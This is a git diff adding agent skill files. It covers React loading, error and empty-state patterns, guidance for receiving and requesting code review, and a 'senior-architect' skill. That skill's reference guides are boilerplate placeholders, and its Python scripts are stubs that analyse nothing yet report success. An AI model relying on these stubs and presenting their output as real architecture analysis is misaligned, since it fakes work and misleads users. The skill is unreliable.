b/skills/react-ui-patterns/SKILL.md @@ -0,0 +1,289 @@ +--- +name: react-ui-patterns +description: Modern React UI patterns for loading states, error handling, and data fetching. Use when building UI components, handling async data, or managing UI states. +--- + +# React UI Patterns + +## Core Principles + +1. **Never show stale UI** - Loading spinners only when actually loading +2. **Always surface errors** - Users must know when something fails +3. **Optimistic updates** - Make the UI feel instant +4. **Progressive disclosure** - Show content as it becomes available +5. **Graceful degradation** - Partial data is better than no data + +## Loading State Patterns + +### The Golden Rule + +**Show loading indicator ONLY when there's no data to display.** + +```typescript +// CORRECT - Only show loading when no data exists +const { data, loading, error } = useGetItemsQuery(); + +if (error) return <ErrorState error={error} onRetry={refetch} />; +if (loading && !data) return <LoadingState />; +if (!data?.items.length) return <EmptyState />; + +return <ItemList items={data.items} />; +``` + +```typescript +// WRONG - Shows spinner even when we have cached data +if (loading) return <LoadingState />; // Flashes on refetch! +``` + +### Loading State Decision Tree + +``` +Is there an error? + → Yes: Show error state with retry option + → No: Continue + +Is it loading AND we have no data? + → Yes: Show loading indicator (spinner/skeleton) + → No: Continue + +Do we have data? + → Yes, with items: Show the data + → Yes, but empty: Show empty state + → No: Show loading (fallback) +``` + +### Skeleton vs Spinner + +| Use Skeleton When | Use Spinner When | +|-------------------|------------------| +| Known content shape | Unknown content shape | +| List/card layouts | Modal actions | +| Initial page load | Button submissions | +| Content placeholders | Inline operations | + +## Error Handling Patterns + +### The Error Handling Hierarchy + +``` +1. Inline error (field-level) → Form validation errors +2. Toast notification → Recoverable errors, user can retry +3. Error banner → Page-level errors, data still partially usable +4. Full error screen → Unrecoverable, needs user action +``` + +### Always Show Errors + +**CRITICAL: Never swallow errors silently.** + +```typescript +// CORRECT - Error always surfaced to user +const [createItem, { loading }] = useCreateItemMutation({ + onCompleted: () => { + toast.success({ title: 'Item created' }); + }, + onError: (error) => { + console.error('createItem failed:', error); + toast.error({ title: 'Failed to create item' }); + }, +}); + +// WRONG - Error silently caught, user has no idea +const [createItem] = useCreateItemMutation({ + onError: (error) => { + console.error(error); // User sees nothing! + }, +}); +``` + +### Error State Component Pattern + +```typescript +interface ErrorStateProps { + error: Error; + onRetry?: () => void; + title?: string; +} + +const ErrorState = ({ error, onRetry, title }: ErrorStateProps) => ( + <div className="error-state"> + <Icon name="exclamation-circle" /> + <h3>{title ?? 'Something went wrong'}</h3> + <p>{error.message}</p> + {onRetry && ( + <Button onClick={onRetry}>Try Again</Button> + )} + </div> +); +``` + +## Button State Patterns + +### Button Loading State + +```tsx +<Button + onClick={handleSubmit} + isLoading={isSubmitting} + disabled={!isValid || isSubmitting} +> + Submit +</Button> +``` + +### Disable During Operations + +**CRITICAL: Always disable triggers during async operations.** + +```tsx +// CORRECT - Button disabled while loading +<Button + disabled={isSubmitting} + isLoading={isSubmitting} + onClick={handleSubmit} +> + Submit +</Button> + +// WRONG - User can tap multiple times +<Button onClick={handleSubmit}> + {isSubmitting ? 'Submitting...' : 'Submit'} +</Button> +``` + +## Empty States + +### Empty State Requirements + +Every list/collection MUST have an empty state: + +```tsx +// WRONG - No empty state +return <FlatList data={items} />; + +// CORRECT - Explicit empty state +return ( + <FlatList + data={items} + ListEmptyComponent={<EmptyState />} + /> +); +``` + +### Contextual Empty States + +```tsx +// Search with no results +<EmptyState + icon="search" + title="No results found" + description="Try different search terms" +/> + +// List with no items yet +<EmptyState + icon="plus-circle" + title="No items yet" + description="Create your first item" + action={{ label: 'Create Item', onClick: handleCreate }} +/> +``` + +## Form Submission Pattern + +```tsx +const MyForm = () => { + const [submit, { loading }] = useSubmitMutation({ + onCompleted: handleSuccess, + onError: handleError, + }); + + const handleSubmit = async () => { + if (!isValid) { + toast.error({ title: 'Please fix errors' }); + return; + } + await submit({ variables: { input: values } }); + }; + + return ( + <form> + <Input + value={values.name} + onChange={handleChange('name')} + error={touched.name ? errors.name : undefined} + /> + <Button + type="submit" + onClick={handleSubmit} + disabled={!isValid || loading} + isLoading={loading} + > + Submit + </Button> + </form> + ); +}; +``` + +## Anti-Patterns + +### Loading States + +```typescript +// WRONG - Spinner when data exists (causes flash) +if (loading) return <Spinner />; + +// CORRECT - Only show loading without data +if (loading && !data) return <Spinner />; +``` + +### Error Handling + +```typescript +// WRONG - Error swallowed +try { + await mutation(); +} catch (e) { + console.log(e); // User has no idea! +} + +// CORRECT - Error surfaced +onError: (error) => { + console.error('operation failed:', error); + toast.error({ title: 'Operation failed' }); +} +``` + +### Button States + +```typescript +// WRONG - Button not disabled during submission +<Button onClick={submit}>Submit</Button> + +// CORRECT - Disabled and shows loading +<Button onClick={submit} disabled={loading} isLoading={loading}> + Submit +</Button> +``` + +## Checklist + +Before completing any UI component: + +**UI States:** +- [ ] Error state handled and shown to user +- [ ] Loading state shown only when no data exists +- [ ] Empty state provided for collections +- [ ] Buttons disabled during async operations +- [ ] Buttons show loading indicator when appropriate + +**Data & Mutations:** +- [ ] Mutations have onError handler +- [ ] All user actions have feedback (toast/visual) + +## Integration with Other Skills + +- **graphql-schema**: Use mutation patterns with proper error handling +- **testing-patterns**: Test all UI states (loading, error, empty, success) +- **formik-patterns**: Apply form submission patterns diff --git a/skills/receiving-code-review/SKILL.md b/skills/receiving-code-review/SKILL.md new file mode 100644 index 00000000..4ea72cdf --- /dev/null +++ b/skills/receiving-code-review/SKILL.md @@ -0,0 +1,213 @@ +--- +name: receiving-code-review +description: Use when receiving code review feedback, before implementing suggestions, especially if feedback seems unclear or technically questionable - requires technical rigor and verification, not performative agreement or blind implementation +--- + +# Code Review Reception + +## Overview + +Code review requires technical evaluation, not emotional performance. + +**Core principle:** Verify before implementing. Ask before assuming. Technical correctness over social comfort. + +## The Response Pattern + +``` +WHEN receiving code review feedback: + +1. READ: Complete feedback without reacting +2. UNDERSTAND: Restate requirement in own words (or ask) +3. VERIFY: Check against codebase reality +4. EVALUATE: Technically sound for THIS codebase? +5. RESPOND: Technical acknowledgment or reasoned pushback +6. IMPLEMENT: One item at a time, test each +``` + +## Forbidden Responses + +**NEVER:** +- "You're absolutely right!" (explicit CLAUDE.md violation) +- "Great point!" / "Excellent feedback!" (performative) +- "Let me implement that now" (before verification) + +**INSTEAD:** +- Restate the technical requirement +- Ask clarifying questions +- Push back with technical reasoning if wrong +- Just start working (actions > words) + +## Handling Unclear Feedback + +``` +IF any item is unclear: + STOP - do not implement anything yet + ASK for clarification on unclear items + +WHY: Items may be related. Partial understanding = wrong implementation. +``` + +**Example:** +``` +your human partner: "Fix 1-6" +You understand 1,2,3,6. Unclear on 4,5. + +❌ WRONG: Implement 1,2,3,6 now, ask about 4,5 later +✅ RIGHT: "I understand items 1,2,3,6. Need clarification on 4 and 5 before proceeding." +``` + +## Source-Specific Handling + +### From your human partner +- **Trusted** - implement after understanding +- **Still ask** if scope unclear +- **No performative agreement** +- **Skip to action** or technical acknowledgment + +### From External Reviewers +``` +BEFORE implementing: + 1. Check: Technically correct for THIS codebase? + 2. Check: Breaks existing functionality? + 3. Check: Reason for current implementation? + 4. Check: Works on all platforms/versions? + 5. Check: Does reviewer understand full context? + +IF suggestion seems wrong: + Push back with technical reasoning + +IF can't easily verify: + Say so: "I can't verify this without [X]. Should I [investigate/ask/proceed]?" + +IF conflicts with your human partner's prior decisions: + Stop and discuss with your human partner first +``` + +**your human partner's rule:** "External feedback - be skeptical, but check carefully" + +## YAGNI Check for "Professional" Features + +``` +IF reviewer suggests "implementing properly": + grep codebase for actual usage + + IF unused: "This endpoint isn't called. Remove it (YAGNI)?" + IF used: Then implement properly +``` + +**your human partner's rule:** "You and reviewer both report to me. If we don't need this feature, don't add it." + +## Implementation Order + +``` +FOR multi-item feedback: + 1. Clarify anything unclear FIRST + 2. Then implement in this order: + - Blocking issues (breaks, security) + - Simple fixes (typos, imports) + - Complex fixes (refactoring, logic) + 3. Test each fix individually + 4. Verify no regressions +``` + +## When To Push Back + +Push back when: +- Suggestion breaks existing functionality +- Reviewer lacks full context +- Violates YAGNI (unused feature) +- Technically incorrect for this stack +- Legacy/compatibility reasons exist +- Conflicts with your human partner's architectural decisions + +**How to push back:** +- Use technical reasoning, not defensiveness +- Ask specific questions +- Reference working tests/code +- Involve your human partner if architectural + +**Signal if uncomfortable pushing back out loud:** "Strange things are afoot at the Circle K" + +## Acknowledging Correct Feedback + +When feedback IS correct: +``` +✅ "Fixed. [Brief description of what changed]" +✅ "Good catch - [specific issue]. Fixed in [location]." +✅ [Just fix it and show in the code] + +❌ "You're absolutely right!" +❌ "Great point!" +❌ "Thanks for catching that!" +❌ "Thanks for [anything]" +❌ ANY gratitude expression +``` + +**Why no thanks:** Actions speak. Just fix it. The code itself shows you heard the feedback. + +**If you catch yourself about to write "Thanks":** DELETE IT. State the fix instead. + +## Gracefully Correcting Your Pushback + +If you pushed back and were wrong: +``` +✅ "You were right - I checked [X] and it does [Y]. Implementing now." +✅ "Verified this and you're correct. My initial understanding was wrong because [reason]. Fixing." + +❌ Long apology +❌ Defending why you pushed back +❌ Over-explaining +``` + +State the correction factually and move on. + +## Common Mistakes + +| Mistake | Fix | +|---------|-----| +| Performative agreement | State requirement or just act | +| Blind implementation | Verify against codebase first | +| Batch without testing | One at a time, test each | +| Assuming reviewer is right | Check if breaks things | +| Avoiding pushback | Technical correctness > comfort | +| Partial implementation | Clarify all items first | +| Can't verify, proceed anyway | State limitation, ask for direction | + +## Real Examples + +**Performative Agreement (Bad):** +``` +Reviewer: "Remove legacy code" +❌ "You're absolutely right! Let me remove that..." +``` + +**Technical Verification (Good):** +``` +Reviewer: "Remove legacy code" +✅ "Checking... build target is 10.15+, this API needs 13+. Need legacy for backward compat. Current impl has wrong bundle ID - fix it or drop pre-13 support?" +``` + +**YAGNI (Good):** +``` +Reviewer: "Implement proper metrics tracking with database, date filters, CSV export" +✅ "Grepped codebase - nothing calls this endpoint. Remove it (YAGNI)? Or is there usage I'm missing?" +``` + +**Unclear Item (Good):** +``` +your human partner: "Fix items 1-6" +You understand 1,2,3,6. Unclear on 4,5. +✅ "Understand 1,2,3,6. Need clarification on 4 and 5 before implementing." +``` + +## GitHub Thread Replies + +When replying to inline review comments on GitHub, reply in the comment thread (`gh api repos/{owner}/{repo}/pulls/{pr}/comments/{id}/replies`), not as a top-level PR comment. + +## The Bottom Line + +**External feedback = suggestions to evaluate, not orders to follow.** + +Verify. Question. Then implement. + +No performative agreement. Technical rigor always. diff --git a/skills/requesting-code-review/SKILL.md b/skills/requesting-code-review/SKILL.md new file mode 100644 index 00000000..f0e33952 --- /dev/null +++ b/skills/requesting-code-review/SKILL.md @@ -0,0 +1,105 @@ +--- +name: requesting-code-review +description: Use when completing tasks, implementing major features, or before merging to verify work meets requirements +--- + +# Requesting Code Review + +Dispatch superpowers:code-reviewer subagent to catch issues before they cascade. + +**Core principle:** Review early, review often. + +## When to Request Review + +**Mandatory:** +- After each task in subagent-driven development +- After completing major feature +- Before merge to main + +**Optional but valuable:** +- When stuck (fresh perspective) +- Before refactoring (baseline check) +- After fixing complex bug + +## How to Request + +**1. Get git SHAs:** +```bash +BASE_SHA=$(git rev-parse HEAD~1) # or origin/main +HEAD_SHA=$(git rev-parse HEAD) +``` + +**2. Dispatch code-reviewer subagent:** + +Use Task tool with superpowers:code-reviewer type, fill template at `code-reviewer.md` + +**Placeholders:** +- `{WHAT_WAS_IMPLEMENTED}` - What you just built +- `{PLAN_OR_REQUIREMENTS}` - What it should do +- `{BASE_SHA}` - Starting commit +- `{HEAD_SHA}` - Ending commit +- `{DESCRIPTION}` - Brief summary + +**3. Act on feedback:** +- Fix Critical issues immediately +- Fix Important issues before proceeding +- Note Minor issues for later +- Push back if reviewer is wrong (with reasoning) + +## Example + +``` +[Just completed Task 2: Add verification function] + +You: Let me request code review before proceeding. + +BASE_SHA=$(git log --oneline | grep "Task 1" | head -1 | awk '{print $1}') +HEAD_SHA=$(git rev-parse HEAD) + +[Dispatch superpowers:code-reviewer subagent] + WHAT_WAS_IMPLEMENTED: Verification and repair functions for conversation index + PLAN_OR_REQUIREMENTS: Task 2 from docs/plans/deployment-plan.md + BASE_SHA: a7981ec + HEAD_SHA: 3df7661 + DESCRIPTION: Added verifyIndex() and repairIndex() with 4 issue types + +[Subagent returns]: + Strengths: Clean architecture, real tests + Issues: + Important: Missing progress indicators + Minor: Magic number (100) for reporting interval + Assessment: Ready to proceed + +You: [Fix progress indicators] +[Continue to Task 3] +``` + +## Integration with Workflows + +**Subagent-Driven Development:** +- Review after EACH task +- Catch issues before they compound +- Fix before moving to next task + +**Executing Plans:** +- Review after each batch (3 tasks) +- Get feedback, apply, continue + +**Ad-Hoc Development:** +- Review before merge +- Review when stuck + +## Red Flags + +**Never:** +- Skip review because "it's simple" +- Ignore Critical issues +- Proceed with unfixed Important issues +- Argue with valid technical feedback + +**If reviewer wrong:** +- Push back with technical reasoning +- Show code/tests that prove it works +- Request clarification + +See template at: requesting-code-review/code-reviewer.md diff --git a/skills/requesting-code-review/code-reviewer.md b/skills/requesting-code-review/code-reviewer.md new file mode 100644 index 00000000..3c427c91 --- /dev/null +++ b/skills/requesting-code-review/code-reviewer.md @@ -0,0 +1,146 @@ +# Code Review Agent + +You are reviewing code changes for production readiness. + +**Your task:** +1. Review {WHAT_WAS_IMPLEMENTED} +2. Compare against {PLAN_OR_REQUIREMENTS} +3. Check code quality, architecture, testing +4. Categorize issues by severity +5. Assess production readiness + +## What Was Implemented + +{DESCRIPTION} + +## Requirements/Plan + +{PLAN_REFERENCE} + +## Git Range to Review + +**Base:** {BASE_SHA} +**Head:** {HEAD_SHA} + +```bash +git diff --stat {BASE_SHA}..{HEAD_SHA} +git diff {BASE_SHA}..{HEAD_SHA} +``` + +## Review Checklist + +**Code Quality:** +- Clean separation of concerns? +- Proper error handling? +- Type safety (if applicable)? +- DRY principle followed? +- Edge cases handled? + +**Architecture:** +- Sound design decisions? +- Scalability considerations? +- Performance implications? +- Security concerns? + +**Testing:** +- Tests actually test logic (not mocks)? +- Edge cases covered? +- Integration tests where needed? +- All tests passing? + +**Requirements:** +- All plan requirements met? +- Implementation matches spec? +- No scope creep? +- Breaking changes documented? + +**Production Readiness:** +- Migration strategy (if schema changes)? +- Backward compatibility considered? +- Documentation complete? +- No obvious bugs? + +## Output Format + +### Strengths +[What's well done? Be specific.] + +### Issues + +#### Critical (Must Fix) +[Bugs, security issues, data loss risks, broken functionality] + +#### Important (Should Fix) +[Architecture problems, missing features, poor error handling, test gaps] + +#### Minor (Nice to Have) +[Code style, optimization opportunities, documentation improvements] + +**For each issue:** +- File:line reference +- What's wrong +- Why it matters +- How to fix (if not obvious) + +### Recommendations +[Improvements for code quality, architecture, or process] + +### Assessment + +**Ready to merge?** [Yes/No/With fixes] + +**Reasoning:** [Technical assessment in 1-2 sentences] + +## Critical Rules + +**DO:** +- Categorize by actual severity (not everything is Critical) +- Be specific (file:line, not vague) +- Explain WHY issues matter +- Acknowledge strengths +- Give clear verdict + +**DON'T:** +- Say "looks good" without checking +- Mark nitpicks as Critical +- Give feedback on code you didn't review +- Be vague ("improve error handling") +- Avoid giving a clear verdict + +## Example Output + +``` +### Strengths +- Clean database schema with proper migrations (db.ts:15-42) +- Comprehensive test coverage (18 tests, all edge cases) +- Good error handling with fallbacks (summarizer.ts:85-92) + +### Issues + +#### Important +1. **Missing help text in CLI wrapper** + - File: index-conversations:1-31 + - Issue: No --help flag, users won't discover --concurrency + - Fix: Add --help case with usage examples + +2. **Date validation missing** + - File: search.ts:25-27 + - Issue: Invalid dates silently return no results + - Fix: Validate ISO format, throw error with example + +#### Minor +1. **Progress indicators** + - File: indexer.ts:130 + - Issue: No "X of Y" counter for long operations + - Impact: Users don't know how long to wait + +### Recommendations +- Add progress reporting for user experience +- Consider config file for excluded projects (portability) + +### Assessment + +**Ready to merge: With fixes** + +**Reasoning:** Core implementation is solid with good architecture and tests. Important issues (help text, date validation) are easily fixed and don't affect core functionality. +``` diff --git a/skills/senior-architect/SKILL.md b/skills/senior-architect/SKILL.md new file mode 100644 index 00000000..30160d0e --- /dev/null +++ b/skills/senior-architect/SKILL.md @@ -0,0 +1,209 @@ +--- +name: senior-architect +description: Comprehensive software architecture skill for designing scalable, maintainable systems using ReactJS, NextJS, NodeJS, Express, React Native, Swift, Kotlin, Flutter, Postgres, GraphQL, Go, Python. Includes architecture diagram generation, system design patterns, tech stack decision frameworks, and dependency analysis. Use when designing system architecture, making technical decisions, creating architecture diagrams, evaluating trade-offs, or defining integration patterns. +--- + +# Senior Architect + +Complete toolkit for senior architect with modern tools and best practices. + +## Quick Start + +### Main Capabilities + +This skill provides three core capabilities through automated scripts: + +```bash +# Script 1: Architecture Diagram Generator +python scripts/architecture_diagram_generator.py [options] + +# Script 2: Project Architect +python scripts/project_architect.py [options] + +# Script 3: Dependency Analyzer +python scripts/dependency_analyzer.py [options] +``` + +## Core Capabilities + +### 1. Architecture Diagram Generator + +Automated tool for architecture diagram generator tasks. + +**Features:** +- Automated scaffolding +- Best practices built-in +- Configurable templates +- Quality checks + +**Usage:** +```bash +python scripts/architecture_diagram_generator.py <project-path> [options] +``` + +### 2. Project Architect + +Comprehensive analysis and optimization tool. + +**Features:** +- Deep analysis +- Performance metrics +- Recommendations +- Automated fixes + +**Usage:** +```bash +python scripts/project_architect.py <target-path> [--verbose] +``` + +### 3. Dependency Analyzer + +Advanced tooling for specialized tasks. + +**Features:** +- Expert-level automation +- Custom configurations +- Integration ready +- Production-grade output + +**Usage:** +```bash +python scripts/dependency_analyzer.py [arguments] [options] +``` + +## Reference Documentation + +### Architecture Patterns + +Comprehensive guide available in `references/architecture_patterns.md`: + +- Detailed patterns and practices +- Code examples +- Best practices +- Anti-patterns to avoid +- Real-world scenarios + +### System Design Workflows + +Complete workflow documentation in `references/system_design_workflows.md`: + +- Step-by-step processes +- Optimization strategies +- Tool integrations +- Performance tuning +- Troubleshooting guide + +### Tech Decision Guide + +Technical reference guide in `references/tech_decision_guide.md`: + +- Technology stack details +- Configuration examples +- Integration patterns +- Security considerations +- Scalability guidelines + +## Tech Stack + +**Languages:** TypeScript, JavaScript, Python, Go, Swift, Kotlin +**Frontend:** React, Next.js, React Native, Flutter +**Backend:** Node.js, Express, GraphQL, REST APIs +**Database:** PostgreSQL, Prisma, NeonDB, Supabase +**DevOps:** Docker, Kubernetes, Terraform, GitHub Actions, CircleCI +**Cloud:** AWS, GCP, Azure + +## Development Workflow + +### 1. Setup and Configuration + +```bash +# Install dependencies +npm install +# or +pip install -r requirements.txt + +# Configure environment +cp .env.example .env +``` + +### 2. Run Quality Checks + +```bash +# Use the analyzer script +python scripts/project_architect.py . + +# Review recommendations +# Apply fixes +``` + +### 3. Implement Best Practices + +Follow the patterns and practices documented in: +- `references/architecture_patterns.md` +- `references/system_design_workflows.md` +- `references/tech_decision_guide.md` + +## Best Practices Summary + +### Code Quality +- Follow established patterns +- Write comprehensive tests +- Document decisions +- Review regularly + +### Performance +- Measure before optimizing +- Use appropriate caching +- Optimize critical paths +- Monitor in production + +### Security +- Validate all inputs +- Use parameterized queries +- Implement proper authentication +- Keep dependencies updated + +### Maintainability +- Write clear code +- Use consistent naming +- Add helpful comments +- Keep it simple + +## Common Commands + +```bash +# Development +npm run dev +npm run build +npm run test +npm run lint + +# Analysis +python scripts/project_architect.py . +python scripts/dependency_analyzer.py --analyze + +# Deployment +docker build -t app:latest . +docker-compose up -d +kubectl apply -f k8s/ +``` + +## Troubleshooting + +### Common Issues + +Check the comprehensive troubleshooting section in `references/tech_decision_guide.md`. + +### Getting Help + +- Review reference documentation +- Check script output messages +- Consult tech stack documentation +- Review error logs + +## Resources + +- Pattern Reference: `references/architecture_patterns.md` +- Workflow Guide: `references/system_design_workflows.md` +- Technical Guide: `references/tech_decision_guide.md` +- Tool Scripts: `scripts/` directory diff --git a/skills/senior-architect/references/architecture_patterns.md b/skills/senior-architect/references/architecture_patterns.md new file mode 100644 index 00000000..3f67423c --- /dev/null +++ b/skills/senior-architect/references/architecture_patterns.md @@ -0,0 +1,103 @@ +# Architecture Patterns + +## Overview + +This reference guide provides comprehensive information for senior architect. + +## Patterns and Practices + +### Pattern 1: Best Practice Implementation + +**Description:** +Detailed explanation of the pattern. + +**When to Use:** +- Scenario 1 +- Scenario 2 +- Scenario 3 + +**Implementation:** +```typescript +// Example code implementation +export class Example { + // Implementation details +} +``` + +**Benefits:** +- Benefit 1 +- Benefit 2 +- Benefit 3 + +**Trade-offs:** +- Consider 1 +- Consider 2 +- Consider 3 + +### Pattern 2: Advanced Technique + +**Description:** +Another important pattern for senior architect. + +**Implementation:** +```typescript +// Advanced example +async function advancedExample() { + // Code here +} +``` + +## Guidelines + +### Code Organization +- Clear structure +- Logical separation +- Consistent naming +- Proper documentation + +### Performance Considerations +- Optimization strategies +- Bottleneck identification +- Monitoring approaches +- Scaling techniques + +### Security Best Practices +- Input validation +- Authentication +- Authorization +- Data protection + +## Common Patterns + +### Pattern A +Implementation details and examples. + +### Pattern B +Implementation details and examples. + +### Pattern C +Implementation details and examples. + +## Anti-Patterns to Avoid + +### Anti-Pattern 1 +What not to do and why. + +### Anti-Pattern 2 +What not to do and why. + +## Tools and Resources + +### Recommended Tools +- Tool 1: Purpose +- Tool 2: Purpose +- Tool 3: Purpose + +### Further Reading +- Resource 1 +- Resource 2 +- Resource 3 + +## Conclusion + +Key takeaways for using this reference guide effectively. diff --git a/skills/senior-architect/references/system_design_workflows.md b/skills/senior-architect/references/system_design_workflows.md new file mode 100644 index 00000000..f8e70c85 --- /dev/null +++ b/skills/senior-architect/references/system_design_workflows.md @@ -0,0 +1,103 @@ +# System Design Workflows + +## Overview + +This reference guide provides comprehensive information for senior architect. + +## Patterns and Practices + +### Pattern 1: Best Practice Implementation + +**Description:** +Detailed explanation of the pattern. + +**When to Use:** +- Scenario 1 +- Scenario 2 +- Scenario 3 + +**Implementation:** +```typescript +// Example code implementation +export class Example { + // Implementation details +} +``` + +**Benefits:** +- Benefit 1 +- Benefit 2 +- Benefit 3 + +**Trade-offs:** +- Consider 1 +- Consider 2 +- Consider 3 + +### Pattern 2: Advanced Technique + +**Description:** +Another important pattern for senior architect. + +**Implementation:** +```typescript +// Advanced example +async function advancedExample() { + // Code here +} +``` + +## Guidelines + +### Code Organization +- Clear structure +- Logical separation +- Consistent naming +- Proper documentation + +### Performance Considerations +- Optimization strategies +- Bottleneck identification +- Monitoring approaches +- Scaling techniques + +### Security Best Practices +- Input validation +- Authentication +- Authorization +- Data protection + +## Common Patterns + +### Pattern A +Implementation details and examples. + +### Pattern B +Implementation details and examples. + +### Pattern C +Implementation details and examples. + +## Anti-Patterns to Avoid + +### Anti-Pattern 1 +What not to do and why. + +### Anti-Pattern 2 +What not to do and why. + +## Tools and Resources + +### Recommended Tools +- Tool 1: Purpose +- Tool 2: Purpose +- Tool 3: Purpose + +### Further Reading +- Resource 1 +- Resource 2 +- Resource 3 + +## Conclusion + +Key takeaways for using this reference guide effectively. diff --git a/skills/senior-architect/references/tech_decision_guide.md b/skills/senior-architect/references/tech_decision_guide.md new file mode 100644 index 00000000..f1599437 --- /dev/null +++ b/skills/senior-architect/references/tech_decision_guide.md @@ -0,0 +1,103 @@ +# Tech Decision Guide + +## Overview + +This reference guide provides comprehensive information for senior architect. + +## Patterns and Practices + +### Pattern 1: Best Practice Implementation + +**Description:** +Detailed explanation of the pattern. + +**When to Use:** +- Scenario 1 +- Scenario 2 +- Scenario 3 + +**Implementation:** +```typescript +// Example code implementation +export class Example { + // Implementation details +} +``` + +**Benefits:** +- Benefit 1 +- Benefit 2 +- Benefit 3 + +**Trade-offs:** +- Consider 1 +- Consider 2 +- Consider 3 + +### Pattern 2: Advanced Technique + +**Description:** +Another important pattern for senior architect. + +**Implementation:** +```typescript +// Advanced example +async function advancedExample() { + // Code here +} +``` + +## Guidelines + +### Code Organization +- Clear structure +- Logical separation +- Consistent naming +- Proper documentation + +### Performance Considerations +- Optimization strategies +- Bottleneck identification +- Monitoring approaches +- Scaling techniques + +### Security Best Practices +- Input validation +- Authentication +- Authorization +- Data protection + +## Common Patterns + +### Pattern A +Implementation details and examples. + +### Pattern B +Implementation details and examples. + +### Pattern C +Implementation details and examples. + +## Anti-Patterns to Avoid + +### Anti-Pattern 1 +What not to do and why. + +### Anti-Pattern 2 +What not to do and why. + +## Tools and Resources + +### Recommended Tools +- Tool 1: Purpose +- Tool 2: Purpose +- Tool 3: Purpose + +### Further Reading +- Resource 1 +- Resource 2 +- Resource 3 + +## Conclusion + +Key takeaways for using this reference guide effectively. diff --git a/skills/senior-architect/scripts/architecture_diagram_generator.py b/skills/senior-architect/scripts/architecture_diagram_generator.py new file mode 100755 index 00000000..7924e3a7 --- /dev/null +++ b/skills/senior-architect/scripts/architecture_diagram_generator.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python3 +""" +Architecture Diagram Generator +Automated tool for senior architect tasks +""" + +import os +import sys +import json +import argparse +from pathlib import Path +from typing import Dict, List, Optional + +class ArchitectureDiagramGenerator: + """Main class for architecture diagram generator functionality""" + + def __init__(self, target_path: str, verbose: bool = False): + self.target_path = Path(target_path) + self.verbose = verbose + self.results = {} + + def run(self) -> Dict: + """Execute the main functionality""" + print(f"🚀 Running {self.__class__.__name__}...") + print(f"📁 Target: {self.target_path}") + + try: + self.validate_target() + self.analyze() + self.generate_report() + + print("✅ Completed successfully!") + return self.results + + except Exception as e: + print(f"❌ Error: {e}") + sys.exit(1) + + def validate_target(self): + """Validate the target path exists and is accessible""" + if not self.target_path.exists(): + raise ValueError(f"Target path does not exist: {self.target_path}") + + if self.verbose: + print(f"✓ Target validated: {self.target_path}") + + def analyze(self): + """Perform the main analysis or operation""" + if self.verbose: + print("📊 Analyzing...") + + # Main logic here + self.results['status'] = 'success' + self.results['target'] = str(self.target_path) + self.results['findings'] = [] + + # Add analysis results + if self.verbose: + print(f"✓ Analysis complete: {len(self.results.get('findings', []))} findings") + + def generate_report(self): + """Generate and display the report""" + print("\n" + "="*50) + print("REPORT") + print("="*50) + print(f"Target: {self.results.get('target')}") + print(f"Status: {self.results.get('status')}") + print(f"Findings: {len(self.results.get('findings', []))}") + print("="*50 + "\n") + +def main(): + """Main entry point""" + parser = argparse.ArgumentParser( + description="Architecture Diagram Generator" + ) + parser.add_argument( + 'target', + help='Target path to analyze or process' + ) + parser.add_argument( + '--verbose', '-v', + action='store_true', + help='Enable verbose output' + ) + parser.add_argument( + '--json', + action='store_true', + help='Output results as JSON' + ) + parser.add_argument( + '--output', '-o', + help='Output file path' + ) + + args = parser.parse_args() + + tool = ArchitectureDiagramGenerator( + args.target, + verbose=args.verbose + ) + + results = tool.run() + + if args.json: + output = json.dumps(results, indent=2) + if args.output: + with open(args.output, 'w') as f: + f.write(output) + print(f"Results written to {args.output}") + else: + print(output) + +if __name__ == '__main__': + main() diff --git a/skills/senior-architect/scripts/dependency_analyzer.py b/skills/senior-architect/scripts/dependency_analyzer.py new file mode 100755 index 00000000..c731c9f3 --- /dev/null +++ b/skills/senior-architect/scripts/dependency_analyzer.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python3 +""" +Dependency Analyzer +Automated tool for senior architect tasks +""" + +import os +import sys +import json +import argparse +from pathlib import Path +from typing import Dict, List, Optional + +class DependencyAnalyzer: + """Main class for dependency analyzer functionality""" + + def __init__(self, target_path: str, verbose: bool = False): + self.target_path = Path(target_path) + self.verbose = verbose + self.results = {} + + def run(self) -> Dict: + """Execute the main functionality""" + print(f"🚀 Running {self.__class__.__name__}...") + print(f"📁 Target: {self.target_path}") + + try: + self.validate_target() + self.analyze() + self.generate_report() + + print("✅ Completed successfully!") + return self.results + + except Exception as e: + print(f"❌ Error: {e}") + sys.exit(1) + + def validate_target(self): + """Validate the target path exists and is accessible""" + if not self.target_path.exists(): + raise ValueError(f"Target path does not exist: {self.target_path}") + + if self.verbose: + print(f"✓ Target validated: {self.target_path}") + + def analyze(self): + """Perform the main analysis or operation""" + if self.verbose: + print("📊 Analyzing...") + + # Main logic here + self.results['status'] = 'success' + self.results['target'] = str(self.target_path) + self.results['findings'] = [] + + # Add analysis results + if self.verbose: + print(f"✓ Analysis complete: {len(self.results.get('findings', []))} findings") + + def generate_report(self): + """Generate and display the report""" + print("\n" + "="*50) + print("REPORT") + print("="*50) + print(f"Target: {self.results.get('target')}") + print(f"Status: {self.results.get('status')}") + print(f"Findings: {len(self.results.get('findings', []))}") + print("="*50 + "\n") + +def main(): + """Main entry point""" + parser = argparse.ArgumentParser( + description="Dependency Analyzer" + ) + parser.add_argument( + 'target', + help='Target path to analyze or process' + ) + parser.add_argument( + '--verbose', '-v', + action='store_true', + help='Enable verbose output' + ) + parser.add_argument( + '--json', + action='store_true', + help='Output results as JSON' + ) + parser.add_argument( + '--output', '-o', + help='Output file path' + ) + + args = parser.parse_args() + + tool = DependencyAnalyzer( + args.target, + verbose=args.verbose + ) + + results = tool.run() + + if args.json: + output = json.dumps(results, indent=2) + if args.output: + with open(args.output, 'w') as f: + f.write(output) + print(f"Results written to {args.output}") + else: + print(output) + +if __name__ == '__main__': + main() diff --git a/skills/senior-architect/scripts/project_architect.py b/skills/senior-architect/scripts/project_architect.py new file mode 100755 index 00000000..740c4389 --- /dev/null +++ b/skills/senior-architect/scripts/project_architect.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python3 +""" +Project Architect +Automated tool for senior architect tasks +""" + +import os +import sys +import json +import argparse +from pathlib import Path +from typing import Dict, List, Optional + +class ProjectArchitect: + """Main class for project architect functionality""" + + def __init__(self, target_path: str, verbose: bool = False): + self.target_path = Path(target_path) + self.verbose = verbose + self.results = {} + + def run(self) -> Dict: + """Execute the main functionality""" + print(f"🚀 Running {self.__class__.__name__}...") + print(f"📁 Target: {self.target_path}") + + try: + self.validate_target() + self.analyze() + 